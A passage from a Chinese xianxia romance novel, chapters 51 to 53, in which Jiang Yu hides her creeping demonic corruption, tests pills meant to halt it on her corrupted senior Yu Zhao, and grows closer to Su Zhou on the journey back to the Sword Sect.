说话间,水声渐渐大了,抬头一看,前方出现了一道巨大的山涧,下方是奔涌的急流,一道窄窄的吊桥悬在湍流上,成了连接两侧的唯一通道。 这吊桥也不知有多少年头了,看起来松松垮垮,中间还缺了几块木板,摇摇欲坠的模样。 姜鱼心中一咯噔。 要是宿舟背着她过桥,装作一时不慎松了手,她不就完蛋了吗?就算有机关球记录下这一幕,等传回宗门,他也肯定能撇清关系。 一想到自己很可能死于非命,姜鱼瞬间收紧了按在他肩膀上的手。 威胁的话已到嘴边,就听他用关心的语气问,“怎么,腿很痛?” 姜鱼:? 50-57 第51章 解救出被抓走的百姓, 诛杀了两只魔物,清风城的事情也告一段路,在薛清浪的邀请下, 一行人去了海渊宗。 过两天就是除夕,薛清浪请他们过完除夕再走。 姜鱼才想起来,他们冬至后不久出门,这都要快到年末了, 时间过得真快。这一次离宗试炼, 于师兄入魔, 林风身死, 只剩了他们三人回去。 问天剑的谜团并没有找到答案, 而回宗之后,又不知要面对什么…… 她垂眸看着自己的手,这双手手指细长, 白玉无瑕, 看不出有什么问题,回想之前和问天剑灵交战时—— “小鱼。” 她回过头, 薛清浪摇扇而来,莲冠轻裘,风度翩翩,“护法长老想见见你, 跟我来吧。” “哦。” 她跟着薛清浪往长老洞府走, 路上不少海渊宗弟子都看她, 议论纷纷。 “那就是剑宗的天骄候选吧?” “听说她是少主的好友, 这次能解决清风城的魔巢,也多亏了她出力。” “看起来真年轻。” “要是我有这样一个师妹,估计尾巴都要翘到天上去了。” “美得你。” 两人进了长老洞府, 护法长老白髯长须,仙风道骨,颇有高人风范,姜鱼乖乖跟他打招呼,他捋着胡子点头,打量姜鱼片刻,眼中都是喜爱欣赏之意。 “说起来,我和你爹也算是同龄人,该叫你一声侄女。”长老道,“这次你和清浪一起,解决了清风郡的难题,表现不错。” 他又说了一通夸奖之语,才委婉打听起问天剑的事。 姜鱼看得出,他虽然言辞轻描淡写,实则谈话重点就是想说这个。 姜鱼仍是之前对薛清浪的那番说辞,长老想了想,点头道:“问天剑尊封印魔渊,对修真界居功至伟,没想到他的本命剑会留在人间,还魔化了……这次你们能带残片回宗,也算是大功一件,剑尊的事关乎天下,关于后续有什么进展,记得及时通知我等。” 姜鱼点点头,乖巧答应。 长老这才放松了神色,看看薛清浪,又看她,笑道,“一转眼你都长这么大了,少年人心性开明,这几年,可有想找道侣的念头?” 姜鱼微怔,摇了摇头,“暂时没想过。” 长老似有些惋惜,看了一眼薛清浪,也没多说什么,和颜悦色道,“那便在宗内多留几天,尽管放松。” “嗯。” 送走了姜鱼,长老看向神色略显失落的海渊少主,安慰道,“感情的事强求不来,少主还是看开些吧,修者当以修行为要。” 薛清浪道:“长老说的我都明白,这些年我和小鱼书信往来,她对我而言是难得的知心好友,其实我……” 他神色黯然,话未说完,告退离开。 姜鱼离开洞府,回想起刚才长老的话,问及道侣时,她第一时间想起的人竟然是宿舟,真是——难道自己被他影响了? 她赶紧摇了摇,把这人从自己脑子里赶出去,再一抬头,发现宿舟就站在自己面前,心想这人真是阴魂不散,“你在这干嘛?” “谁惹你了?”宿舟问。 “你。” “……” “我什么时候惹你了?” “你没惹行吧?”她把莫名的情绪赶走,“听说他们早上钓上了大鱼,晚上要吃鱼蟹宴,快走快走,吃饭去,晚上还要放烟火呢!” 宿舟:? 她的情绪倒是来得快去得快,这会儿开开心心赴宴去了,宿舟摸不着头脑,随后跟上,身后传来脚步声,是薛清浪跟上来了,两人对视一眼,有些话只在不言中,谁也没说什么,一起赴宴去了。 海渊宗拿出招待贵客的架势,晚上海参蟹肉珍品不断,大吃一顿后,天色暗了下来,弟子们聚集在宗内广场上,等着放烟火。 此地离海很近,广场下方就是大片的沙滩,一轮明月悬于海上,朗照万里,浪涛拍岸,海风吹拂。 噼啪! 一朵灿烂烟花在空中炸开,引得下方弟子们一阵欢呼。 姜鱼翻出了自己的雪白兔毛披风,站在栏杆边眺望明月烟火,烟花落下的星火映着她的眉眼,如星光灿灿,熠熠生辉。 她在看烟火,宿舟在看她。 奇美瑰丽的烟火在空中接连炸开,也不如她眸光的星光万一,四周欢呼声起此彼伏,他好像沉浸在了自己的世界里,沉浸在姜鱼灿亮的眼眸里。 若此刻能永恒…… “宿行云,快看!” 姜鱼摇了摇他的手臂,“是龙!” 宿舟恍然回神,抬头一看,正好看到龙形烟花在空中炸开,隐入仙门之中。 “你怎么一点都不激动?”姜鱼回头问。 “……” “没看到我想看的。” “你想看什么啊?” 随着她的话,又是一声烟花炸响,一条鲜艳锦鲤跃上半空,正好跃过了上个烟花残余的仙门之影。 身旁弟子喊了起来:“鱼跃龙门!” “好兆头啊!” “年年有余!” 宿舟挑了挑唇角,“我喜欢这个。” 姜鱼神色一滞,一秒听出他在暗示什么,心乱几分,眼神不自觉移开了,莫名紧张感涌上心头。 不知什么时候起,她面对宿舟越来越不自在了。 为什么会心跳加速,不敢看他呢? 这时,芸晚的声音在旁边响起,“宿师弟,方便说几句吗?” 姜鱼探头,见芸晚似有要事,立刻推他,“快去快去。” 宿舟:…… 和芸晚走到偏僻处,人群欢呼声渐渐远了,他问:“师姐有什么事?” 芸晚道:“我想麻烦你,给于师兄送些吃的。” 宿舟愣了一下,没想到她竟然会提这个。 于照自入魔以后,神智时而清醒时而昏沉,如今被囚禁在海渊宗的地牢里,他们走时还要把他带走。要如何处置于照,最终也要天剑宗的宗规说了算。芸晚念着今夜除夕,想给他送点吃食。 “为何找我?” “师弟身负剑骨,不受魔气侵蚀。若找别人去,恐怕受魔气影响。”芸晚说,“我不是想帮于照些什么,只是出于同门之情,不想他过于凄惨。” “我明白了。” 宿舟点点头,接过了她递过来的食盒,转身要走。 芸晚又道:“宿师弟——” 宿舟转头。 “你和小鱼,是不是……” “没有。” 这回他真走了,走下广场阶梯,姜鱼正往这边过来,她不知捡到了什么,兴奋的给宿舟看,眼睛里亮光,嘴上说个不停。 宿舟低头看她,眼神流露出温柔,恐怕他自己都没察觉。 芸晚在远处看着,摇了摇头,言语或许会骗人,但动作神态早就把他出卖了。 热闹过后,深夜的海渊宗渐渐归于安静。 宿舟拎着食盒,到了牢门前,海渊宗并没有为难于照,安排的牢房也还算干净,这里地势低,能听到阵阵海浪声。 于照蜷坐在牢房里,闻声抬头,鬓间头发散乱,冒出了胡茬,看起来颓废不少,见是宿舟来了,眼底毫无波澜。 宿舟将食盒放下,“今日除夕,芸师姐托我送来的。” 听到芸晚的名字,他暗淡的眼睛亮了一下,但很快又消沉下去,哑声开口,“宿师弟,你杀了我吧。” 宿舟皱眉。 于照自嘲一笑,“你看我现在这样,回了宗门也是被处死,早死晚死,不如现在就死了。” 宿舟问:“你为何会入魔?” 为何入魔? 其实他自己也不清楚。 他低头看自己的手,漆黑的纹路在皮肤下扭动,这些魔纹虽然还没生长出来,但仿佛拥有了自己的意志,他能保持清醒的时间越来越少,现在虽然还没完全入魔,但也差不远了。 “执念入心,所以入魔吧。” 宿舟没再说什么,转身要走。 “师弟!”于照喊他,“杀了我,我说真的。” 宿舟淡声道,“等你真的入魔了,再死不迟。” 于照:…… 地牢内,只留下他的叹息声。 等送完饭回来,广场这边也要散场了,姜鱼身边围着几个海渊宗弟子,情绪渐渐激烈,不知怎的,竟然吵起来了。 他快步走过去,听了几句,似乎是这几人来搭讪,说了几句,姜鱼觉得他们言辞冒犯,要求他们道歉,这几个弟子觉得自己也没说什么,是对方架子太大了,不肯道歉,你来我往就吵起来了。 姜鱼心中正烦闷,越看这几人越不顺眼,有个声音在心里叫嚣,要把他们狠狠教训一顿,但理智告诉她不能这么做。 快忍到极限时,宿舟突然出现,在他身边,她那股不知从何而来的烦躁竟然减轻不少。 宿舟问:“怎么了?” 她摇了摇头,“算了,走了。” 两人离开人群,弟子们也散了。回去路上,宿舟一路沉默,姜鱼突然问,“你是不是也觉得我有问题?” 宿舟:? “他们说我脾气不好,架子大。” “没。” “真的?”姜鱼狐疑地盯着他,“我记得你以前也这么说过。” “那是以前。” “现在呢?” “现在……我觉得你哪里都好。” 怦怦。 听到这话,姜鱼的心猝然跳动了几下,两颊微微发热,不用说她也感觉自己脸红了,别人夸她的话不知听了多少遍,可听到宿舟夸她,感觉就是不一样。 她不会……真的喜欢上宿舟了吧?! 这念头一冒出来,心跳更快了,如擂鼓一般,眼看快到住处了,她不由加快脚步,“到、到了,我要休息了。” 宿舟点点头,“明天见。” 姜鱼连忙进屋,关上房门,心脏还在怦怦直跳,也不知在紧张些什么,她等了一会儿,估摸着对方应该走了,才从窗户边猫猫探头,往外看了一眼。 这一眼,正对上宿舟往窗口看的视线。 嘭—— 小鹿撞晕在心墙,她嗖地往下一躲。 再过了一会儿,再探头时,外面空空如也,他已经走了。 姜鱼这才松了口气,接下来依然魂不守舍,等躺在床上,脑子里还在回想宿舟说的那些话,什么“以身相许”“现在你哪里都好”,不禁在被窝里翻来覆去,以前怎么没发现他这么能说? 这样下去,还睡不睡了? 她决定把这人从脑子里赶走,被子猛地往头上一盖。 睡觉! 在海渊宗逗留了三日,几人启程告别,薛清浪把人送到山门外,“小鱼,日后有需要之处,尽管给我写信。” 姜鱼点点头,“有机会来剑宗玩呀。” 薛清浪浅浅一笑,看着她弯弯眉眼,甜美笑容,这个让他魂牵梦萦的姑娘,下次再见面不知是何时了,而且—— 他看向旁边的宿舟,姜鱼连站位,都下意识和对方靠得更近。 纵然心中一阵憋闷酸涩,表面还保持着风度,“好,有机会我一定去。” 姜鱼冲他摆摆手:“再会。” 薛清浪玉扇轻摇,点头:“再会,小鱼。” 马车带着三人渐渐走远了,他依然在山门处站着,海风鼓动袍袖,淡淡寂寥洒落。 弟子不禁问:“少主,您不留她吗?” 薛清浪摇了摇头:“多留一天两天,也无意义,她总是要走的。” “那兴许……兴许多留两天,姜姑娘改变心意,就愿意、愿意——” 薛清浪知道他想说什么,“有缘之人,天意拆不散,无缘之人,强求亦无用,还易生心魔,我身为少主,该以宗门为重。” 弟子深深拜服,“少主说的是。” …… 离开海渊宗地界,灵石驱动的马车往天剑宗赶去,一路山水迢迢,大约还要六、七天才能回去。 赶路至晚间,马车停在一处林间休息。 姜鱼绕到马车后方,看望于照,于照被囚禁在马车后方临时辟出来的空间,狭小逼仄,连站都站不起来,条件就远不如之前了。 不过自从知道自己入魔后,于师兄已是完全摆烂的态度,对这些根本就不在意了。 听见脚步声,他睁眼看了一眼,微微诧异,“小鱼?” 自从他入魔,只有姜鱼没来看过他,他还以为小鱼已对他这个师兄彻底失望,不想见到他了。 “师兄,你想不想恢复?” “?” “小鱼,你在说什么?”他已是入魔之人,怎么恢复? “当初在青云阁时,师姐说过,只有长出魔纹、魔瞳,才算是彻底入魔,你现在还没有,说不定还有挽救的机会。” 于照心知一直以来她就是这样,是个不死心的性格,无论什么都想争取一下,从不肯轻易放弃,但这次,是她天真了。 “小鱼,入魔不是闹着玩的,往前几千年,从没听说过有谁入魔了还能恢复的。” “这么说,师兄已经认命了?” “是。” “那就让我试试吧。”姜鱼当着他的面,掏出一堆瓶瓶罐罐,“师兄就当我的试验品,万一我成功了呢?” 于照看着她,仿佛看到了那个小时候追着长老的灵宠,从早上追到晚上的小姑娘,释然一笑,“随你。” 他并不知道,李休音之死在姜鱼心中留下的阴影,无论如何,她都不可能看着于照再走上这条路了。这些日子,她都在琢磨,怎么能阻断魔化的路径,她想了几个办法,决定先在于照身上试一试。 低头细看,师兄的手上,经脉中有黑色的纹路游动,那是即将生长出的魔纹,看久了之后,会产生一种头晕目眩的感觉。 她看了一会儿,心口处涌上强烈的滞涩感,仿佛自己也跟魔纹一起共同呼吸,要变成它的一部分,戾气再次涌上来。 于照觉得有些不对劲,“小鱼?” 这时,林中风声呼啸,嗖嗖毒镖破空,魔气随之蔓延,芸晚喊了一声:“魔物偷袭!” 宿舟的剑气已然照亮寒夜,剑光所指处,两只魔物应声而倒。 姜鱼也顾不上于照了,纵身入林,和魔物拼杀起来。这次离宗,能明显感觉到各地游荡的魔物都变多了。这林间竟然藏了十几只魔物埋伏他们,姜鱼还头一次见到了中等魔物,他们虽然没有高等魔物厉害,但有了思考能力,行事阴狠,懂得利用工具偷袭。姜鱼和一只魔物在林中绕了几圈,才终于将其逮住。 魔物伏跪在地,瑟瑟发抖求饶,姜鱼心知,该审问他几句,比如他们是否专程在此拦截,和问天剑有没有关系,但此时另一个念头占了上风——杀、杀了他,狠狠出一口气,只有杀戮,才能带来快乐。 她眼神狠戾,一剑斩下。 魔物头颅应声落地,咕噜噜滚了一圈,停在她脚边。 姜鱼冷眼看着,她看到魔气从魔躯上缓缓消散,其中一缕像是受了什么吸引一般,飘向她指尖。 她抬起手,看到雪白指尖一道黑纹隐现,很快又消失不见。 心猛地沉下去的瞬间,身后脚步声响起。 她回过身,见玄衣少年负剑穿过林间,带着一身清雪冷松气息,是宿舟找来了。 她立即收敛表情,问,“怎么了?” 宿舟沉默片刻,道:“附近的魔物都清干净了。” 姜鱼点点头,心中有些忐忑,不知他是否发现了自己的异样,只能强作镇定,“走吧,回去了。” 经过宿舟身边时,他忽然伸出手。 姜鱼一怔,察觉到他的意图,手轻轻往后一躲,避开了他,自己回去了。 第52章 回剑宗路上, 马车悠悠而行。 路上他们又处理了几波魔物,数量不少,但都不成气候, 造不成什么威胁,只是芸晚敏锐发现,姜鱼和宿舟之间,好像出了什么问题。 自从这次试炼以来, 他们两的关系一天好过一天, 姜鱼对宿舟, 比对自己都亲密, 在薛清浪和宿舟之间, 她更是没有犹豫就选择了宿舟。芸晚都以为他们两好事将成了,可这两天,忽然又掉到了冰点。 以她的观察来看, 是姜鱼在躲着宿舟, 但不知是什么原因,她也不好打听。 “你一直待在我这干什么?” 马车后方, 于照终于忍不住开口了。 宿舟抱着剑,倚靠着身后一棵松树,阖眼闭目,站了许久, 一心摆烂的于照都有些受不了了, 这人在这严重影响他平静的心情。 于照说话, 他仿佛没听见似的, 半点反应没有。 “跟小鱼吵架了?” 宿舟睁眼。 于照笑了,“我就知道,活该!” 宿舟:…… 见他无言以对, 于照刚想再说两句,姜鱼拎着篮子走过来,一见宿舟,微微一怔,转身就走。 宿舟想叫出她,但她走得很快,根本没给机会。 他眼眸微垂,似无声叹息。 “哦。”于照道,“我知道了,你在这等她?” 宿舟撩起眼皮,看了他一眼。 于照:“我知道怎么哄她。” 宿舟挑了挑眉。 “你先保证,之后再也不来烦我。” “成交。” 于照说了几句,宿舟便离开了。 过了半个时辰,姜鱼又来了,她走到马车附近,左右看看,于照懒洋洋道,“别找了,他走了。” 姜鱼:…… “师兄,你跟他说了什么?” “没说什么。” “那他怎么走了?” 于照摇了摇头,表示不知道,反正他一副万念俱灰的模样,估计对别的事也不感兴趣,姜鱼就信了。 她拿出一些瓶瓶罐罐,一堆丹药给于照吃,“师兄,这几天你感觉怎么样?” “怎样?” “有没有什么变化?” 于照根本不知道他吃的是什么,他也不相信姜鱼真能把他治好,但对上她晶亮的、含着期盼的眼睛,他还是不禁微微触动。 他不在意,姜鱼却万分在意,甚至比他自己更盼着他能好起来…… 他想了想,但确实又想不到有什么改变,这些日子他依然浑浑噩噩,要说的话,以往他清醒过来,车壁上全是他留下的痕迹,这两天要少了一些。 他终于有兴趣问,“师妹,你给我吃的是什么?” 姜鱼道:“是阻断丹田和经脉之间灵气流通的丹药。” 于照一愣。 这对阻止他入魔有什么用? 随后来的芸晚听到这句,不禁惊讶,“师妹是想,降低他入魔后的破坏力?” 姜鱼摇了摇头。 她从储物戒中取出一个小盒子,打开一看,里面是一颗漆黑的魔种,这更令两人吃惊,师妹身上竟然还有魔种? 之前小溪村的魔种早已上交,这次杀的双生魔物体质太弱,死的时候魔种就枯萎了,她为何还会有? 而且魔种这种东西,她也敢随身带着?! “我研究过魔种,确实就像一颗种子,它在修士丹田内扎根,汲取能量,生根发芽,在这个过程中,把人改造成魔。我想……如果切断营养供应,将种子自带的能量耗尽,种子可能自己就会枯死。” “这……可能吗?” “起码我手里这颗魔种,比起之前,能量波动已开始变弱了。” 这颗魔种,是她之前从兰姨那里得到的,到现在过去小半年,魔种本身慑人的黑色已褪了不少,正渐渐化为灰色。 “如果真有这么简单,之前怎么没人试过?”芸晚很不解。 “因为在魔族被封印之前,修士们经历过仙魔大战的惨烈,幸存下来的人谈魔色变,但凡有人魔化,就想着杀死。现在不一样了,魔渊已被封印,经过几千年的发展,修真界势力已前所未有的壮大,对入魔者的处置,应该有所改变才对。” 听完这话,于照和芸晚都不禁陷入思考。 剑宗弟子奉宗规为圭臬,宗规说什么,他们就信什么,宗规第一条,就是入魔者杀无赦,可师妹却说,修真界对入魔者的处置该改变了,这话说出去,估计会被长老们认为是大逆不道。 她说的话这番话,观点太新奇,以前从没听人这么说过,就像在两人面前突然开了一扇窗,让他们看到了不一样的可能性。如果,入魔者不是发现就被处死,如果长老医修们早些将精力资源投入到阻止魔化的研究中,那今天,于照是不是就有救了? “师妹,你怎么想到这些的?” “因为……” 因为李师姐。 姜鱼始终觉得,师姐的死太可惜了,如果宗规不这么严苛,如果众人对入魔者的看法有所改变,师姐当时恐怕不会那么绝望。 “所以,于师兄,现在你非常关键。”姜鱼正色道,“如果我这个办法有用,那以后入魔的人就都有救了,等于是师兄你救了他们,天道见证,功德无量!” 于照一震。 他……竟然这么重要吗? 姜鱼的话让于照的内心发生了不小的变化,师妹说得对,如果他有救,那一切都不一样了,他不该放弃希望,不该摆烂啊。 见于照脸色几变,似乎受到触动,姜鱼赶紧问,“所以,师兄,你感觉到底有用没有啊?” 连芸晚也期盼的看着他,等着他的答复。 这下叫于照不得不郑重起来了,可他仔细想了想,确实收效甚微。 摇了摇头:“好像区别不大。” “别好像啊。”姜鱼急了。 “姜师妹,先别急,等两日再看看。”芸晚上前,想拍拍她的肩膀安慰,姜鱼却往后一步,躲开了她。 芸晚没太在意,她的注意力在于照身上,“于师兄,你好好感受一下,这里就你一个入魔者,你的反馈很重要。” 她说这话的时候,姜鱼眼神悄然闪了闪。 于照:…… 他也是第一次入魔,没有对比参照,他心里也没底啊。 给于照送完药,姜鱼独自进了林子,倒出些丹药自己吃了,若于照在这里就会发现,她吃的药和自己是一样的。 吃完了药,身体一阵虚弱。 丹田像被一层膜裹上了,灵气不流通,行动不如以往轻盈,她就在林子里慢慢的走,她知道自己应该是在问天剑灵对战时受到了魔气影响,此时不禁想——师姐当初发现自己入魔的时候,是怎样的心情呢? 是否像她现在这样,也会觉得惶恐、不安……但她是个不服输的人,不把办法想尽,她是不会放弃的。 她姜鱼绝不愿意输给魔念。 在林中逛了一圈,天色渐渐暗了,她想起自从早上之后,今天一整天没见过宿舟,他又去哪了? 莫非是被她冷落了,他也生气了,才一直不出现? 宿舟大概不知道,现在是自己在怕他吧……怕他天生剑骨太过敏锐,发现自己入魔的事,所以一直躲着他。 林中暮色渐重,她正准备回去,忽然听到了一阵声响,仔细听,好像是磨刀声? 她心念一沉,放轻脚步,悄然往前走了几步,隔着山间降下的夜雾,看到了熟悉的背影——是宿舟。 他背对着自己坐着,面前一块洗得干净发亮的磨刀石,脚边摆着一堆小圆石头,正在……磨石头?! 她一时不知道是自己入魔产生了幻觉,还是宿舟也出问题了,惊讶之间,踩中枯枝,发出嘎吱一声响。 宿舟倏然回头。 她往后一缩,还是没躲过,被他看见了。 她本可以直接走,还是克制不住好奇,“你在干嘛?” 宿舟见她藏在树后只露半张脸,像只小鹿,随时都会被跳走,他不想惊走了心上鹿,在她反应过来之前,快步走过去,将一颗石头放到她手里。 “这是什么?” 姜鱼打量着手中的小石头,这东西被他磨过了,磨成了微圆的扇形,薄薄的,雪白一片,上面有雕刻出的细小的水纹。 这算什么? 石头雕成的贝壳? 再一看他那边,磨了一堆,都是这种贝壳小石头,形状各异,花纹也不一样,这都是手工磨出来的,不知耗费了多少精力。 “你在这一天,就是磨这些石头?” “嗯。” “用来干嘛?” “送你的。” 于照告诉他,姜鱼从小就喜欢贝壳、海螺一类的东西,要逗她开心,送这些准没错。但他们此时已往北走入林间山道,离海边有段距离,现在这种情况,他也不能贸然离开,就找了些石头打磨,想逗她开心。 面对他的心意,心中像是一阵水流冲刷而过,细细密密的暖意和涩意交织,让她说不出话。像宿舟这样对自己好的人,以后可能都碰不到了。 一想到这,竟有些想掉眼泪。 宿舟捧着石头给她,“喜欢吗?” 她眨了眨眼睛,“喜欢。” “不生气了?” “我本来就没生气。” “那怎么躲着我?” “……心情不好。” “现在没事了?” “嗯。” 她才刚有入魔的征兆,也许没那么快会被发现,而且他天生剑骨,本身对魔气有净化压制作用,多跟他接触,说不定也能压制魔念。 这样一想,姜鱼便说服了自己。 将那堆精心雕刻的石头贝壳收下,她忽然想到,在小溪村她送了宿舟一颗石头,现在他还了自己一堆,也挺有意思的,不禁笑了。 见她笑了,宿舟的心才跟着放松下来。 回到马车,芸晚见两人一前一后而来,一看就是和好了,不仅了然一笑,“今晚我守夜,你们在马车休息吧。” 晚上两人留守马车,姜鱼把那些“贝壳”拿出来一个个细看,越看越觉得精巧可爱,很有意思。 “你有这门手艺,就算不做剑修,也不会饿死。” “那我该高兴我学了剑。” “嗯?” “这些东西,我不想给别人。” 姜鱼脸微红,默默将石头收起来,车上的壁灯轻轻摇晃,灯光勾勒他线条流畅的侧脸,五官如工笔浓墨描绘,清俊朗逸。 她欣赏宿舟的脸,“宿行云,我有没有夸过你好看?” “算夸过吧。” “算?” “你说我除了脸一无是处。” “……” 这也叫夸? 他说是就是吧。 姜鱼看了一会儿,眼神渐渐迷离。游丝般的魔气从指尖窜往丹田,魔念是负面情绪的集合,是杀念,也是欲念。此时此刻,她心中欲念被激起。 她挪到宿舟身边坐着,歪头看他,眼波柔柔,看得他有些不好意思,眼神闪躲时,被她按住了手。 他一怔,耳根缓缓红了。 两人的手相叠着,渐渐扣在了一起,随着距离靠近,姜鱼的乌发垂下,落在他的手背上,带来一阵麻痒,发香幽幽,缭乱心神。 封闭马车内,气氛逐渐旖旎。 “你记不记得,你还欠我一样东西。”姜鱼的声音在耳边响起。 “什么?” “在小溪村的时候,我不小心亲了你一下,所以,你还欠我一个吻。” “……” “那你准备还我吗?” “嗯。” 听见回答,她浅浅一笑,闭上眼睛,睫毛轻轻颤动,似乎在等着什么。 宿舟垂眸,看到她雪白颈项处,一道暗色纹路悄然隐没,心口骤然一痛。纵然已经有了猜测,姜鱼不说,他就装作不知道。 就着十指紧扣的姿势,宿舟缓缓靠近,侧过头,深情的吻落在了她唇上。 车窗外,一朵雪花悄然飘落。 第53章 不管大家各自怀着什么想法, 宿舟和姜鱼和好后,回程的马车气氛逐渐和谐,他们两人关系变好了, 亲昵得更胜以前。 芸晚有时候都没眼看,而于照,也不知道是姜鱼的理念真的有效,还是她的言语鼓励发生了作用, 这些日子, 于照一直保持清醒, 没有失控过一次。 连他自己都觉得有些不可思议, 难道小鱼的办法真的有用, 他不用入魔了? 不管他怎么想的,他们离剑宗是越来越近了。 一旦回到宗内,他就会面临审判, 长老们会怎么想?峰主会怎么想?他们真会觉得小鱼的办法有用?会不会长老们根本不听, 他就被处死了? 于照担忧日盛,但他很快又发现, 马车的行进速度似乎变慢了,原本七日就该到芦叶城,现在已经十日了,他们离城还有数百里之遥。 照这个速度下去, 可能还要十日才能到。 虽然不知道原因, 但这无疑是件好事, 他只当不知道, 另外三人也不知怎么想的,对此事心照不宣,只字不提。 这日马车在一处村落外落脚, 姜鱼和宿舟一起进村买了些酒和肉回来,本来东西都是宿舟拿着,她坚持要抱着酒坛,闻着酒香,自顾自陶醉。 宿舟看她像只猫儿似的眯眼,不由好笑,明明没什么酒量,却贪酒香。 姜鱼抬头,一见就知道他在笑什么,轻哼声,“笑什么笑,你的酒量也不见得多好。” “比你好就行。” “啧,真没出息。” “呵。” 他轻笑一声,眼眸里也浮上浅浅笑意。 姜鱼怔了一下。 他笑起来真好看。 一想到自己现在瞒着他的事,又不禁有些难受,抱着酒坛的手指悄然收紧,万一她对抗魔化失败,宿舟会是什么心情? 姜鱼几乎不敢去想。 她不能给他承诺,不能安慰他,甚至不能告诉他…… 心头涌上闷闷的痛,她笑不出来了。 “要不,我们喝酒吧?” “不是说酒是买给于师兄的?” 因为于照这几日表现得格外配合,他提出想喝酒,姜鱼自然是一口答应,而且她还特意说了,她只闻不喝,免得喝醉了误事。 “我突然又想喝了。” 宿舟深深看了她一眼,“好。” 他将对方的一丝慌乱看在眼中,在海渊宗时,他已经察觉姜鱼不对劲,直到之前在树林清理魔物,姜鱼回头时,眼神中的凶戾他看得分明,再到前日马车中,他清楚看到那道隐藏的纹路,更确定了猜测,他知道姜鱼已有入魔征兆。 她越是无措想隐瞒,宿舟就越是心疼。 姜鱼想喝酒,他没有理由拒绝。 回到马车,芸晚正负责看着于照,这几天于照的状态变好,芸晚也不像之前那样无视他了,起码能跟他说上两句话,出于同门之谊,她诚心希望于照能好起来,就像姜师妹说的,若真能找到阻止魔化的办法,那真是功德一件。 酒香气随风飘来,芸晚一回头,见他们两一起回来了,脸上带笑,神情轻松,连脚步都很和谐,总归是和好了。 她也跟着松了口气。 村外有一条小溪流,前几日下过场雪,今日天晴雪化了,潺潺水流顺着缓坡流入溪中,溪水欢快流向南方,发出碎珠溅玉般的声响。 姜鱼捡了一块干净地方,铺上垫子,摆上买回来酒肉和小菜,招呼芸晚一起来吃吃喝喝,芸晚在她对面盘膝坐下,“这么开心?” 姜鱼浅浅一笑:“就是突然想喝酒了。” 宿舟坐在她旁边,揭开酒封给两人倒酒,芸晚有些受宠若惊,“没想到有一天能喝到宿师弟斟的酒。” 宿舟:…… “这都是沾了师妹的光。” 姜鱼吐了吐舌头,“师姐,你喜欢喝酒吗?” “偶尔喝一点。”芸晚说,“峰主倒是很爱喝。” 四峰主是有名的酒痴,为了喝一口好酒,闹出过不少笑话,一提到他,两人都不由会心一笑,气氛欢乐起来。 姜鱼喝了两杯,脸上泛起薄红,眼神柔软,斜睨身旁的宿舟,发现他只是在看着自己,不由心念一动。 “你怎么不喝?” 被她看着,宿舟仰头将杯中酒一饮而尽。 姜鱼才想起来,他不喜欢喝酒,但看他这么配合,忍不住追着问,“好喝吗?” 她凑过来,发香幽幽,眸中像盈了一汪柔柔春水,酒不知味,心中又涩又甜,“好喝。” “嘻嘻。” “我刚刚跟村民打听了,这酒叫‘明日醉’,说是酒初喝不醉人,但是后劲大,喝完以后要到明天才会醉。” 宿舟看着她,心想:现在就已经醉了。 姜鱼又说:“村民说,这酒还有一个寓意,喝了明日酒,明天会越来越好,前途光明。来,咱们一起敬明天。” 宿舟和芸晚都配合举杯,姜鱼还在笑着,眼中却藏着一丝不易察觉的哀伤。 明日…… 她还会有明天吗? 回想当上天骄候选时,是怎样意气风发,自信满满,那时她觉得,她肯定会当上天骄、当上首席,成为剑宗第一,而如今魔气入体,前途难定,未来……她的未来,会是什么样?会不会从此坠入深渊,变成魔物? 想到这,眼睛不由酸涩。 她不想被两人看出来,赶紧喝了那杯酒,脑子更加晕乎乎了。 也没发现宿舟一直在看着她,见她伤心,捏着酒杯的手悄然收紧了几分。 “对、对了,酒还没给、给师兄呢。” 她晕乎乎站起来,刚走一步,踢到一块石头,眼看就要摔倒,被宿舟稳稳扶住,“我去吧,你去休息。” “不行。” 她想推开宿舟,醉得浑身没力气,反而像挂在他身上一样,被他扶着腰,靠在他肩上,还不安分的动来动去。 “小鱼……”他不禁低声喊,带着几分无奈又宠溺的语气。 “宿、宿行云,你叫我什么?”姜鱼虽然醉了,耳朵还很灵敏,被宿舟搀着往前走,还不忘发问。 “走慢点。” “哦。” 说是明日醉,其实两口就醉的某人,脑子此时只能想一件事,低头看路就顾不上计较称呼,被他半抱半扶着往前走。 芸晚走在后面,只觉得狗粮吃了满嘴,不过她也察觉到了,这两人似乎都有心事,联想起多日磨磨蹭蹭的马车,她也有些心神不宁。 走到马车后方,于照靠着车壁,似在走神,这些日子怕他无聊,几人找了不少书给他,散乱的书卷落得满地都是。 山间寒风一吹,姜鱼的酒醒了两分,她喊了声师兄,于照才回神,打量她后笑了笑,“我的酒还没来,小鱼怎么偷偷喝醉了?” 姜鱼哼哼,“我就喝了两杯。” 于照:“不愧是你的酒量。” 姜鱼:…… 她挥开要帮忙的宿舟,自己给于照倒了杯酒,隔着栏杆递过去,“师兄,我请你喝酒。” 于照含笑接过,在姜鱼手要收回的瞬间,眸中不详的红光泛起,一把抓住了她的手腕,酒杯跌落在地,砸得粉碎。 于照眼底阴寒,皮肤下扭曲的魔纹浮动,他凑近姜鱼,嗤笑道,“你想救我,少一厢情愿了,入魔之人,谁也救不了!” 他的修为被封,又被困在马车后面,哪怕陷入魔化状态,也对她造成不了什么伤害,除了放几句狠话,什么也做不了。 姜鱼看着他,嘴角垂下,眼神悲伤。 用药这么久,于师兄还会变成这种状态,说明药根本就没用,也许她的想法从一开始就错了…… 对上她的眼神,于照心一慌,紧握的手骤然松开,脸上的阴诡褪去,眼神渐渐恢复清明,“小鱼,我……” 意识到刚才发生了什么,见她抿着唇不说话,于照心中更加懊悔,“我是一时没控制住,其实你的药挺有效。” “是吗?”她轻声问。 “真的。” 这些日子以来,于照已经彻底改变了想法,他不想令姜鱼寒心,“这段时间,我失控的次数不是少多了吗?宿师弟,你说对吧?” 宿舟看向姜鱼,她后退一步,什么都没说,扭头走了。 宿舟连忙追了上去。 于照叹了口气,片刻后抬头,见芸晚还站在那,不由一愣。 芸晚上前,将收拾好的酒菜给他送进去,于照看着她,几次想说话,又忍住了。事到如今,他总觉得自己在芸师妹面前,失去了说话的资格。 芸晚放下东西,回头说了一句,“于师兄,别半途而废,既然要和魔念对抗,就坚持到底。” 于照:“好。” 马车内。 姜鱼默默回来坐着,紧接着,马车一晃,宿舟也跟着上来了。 姜鱼看了他一眼,唇紧紧抿着,没吭声。 宿舟坐在她旁边,低头似乎在翻找什么。 “你找什么?” “解酒丹。” “别找了,我的酒都醒了。” 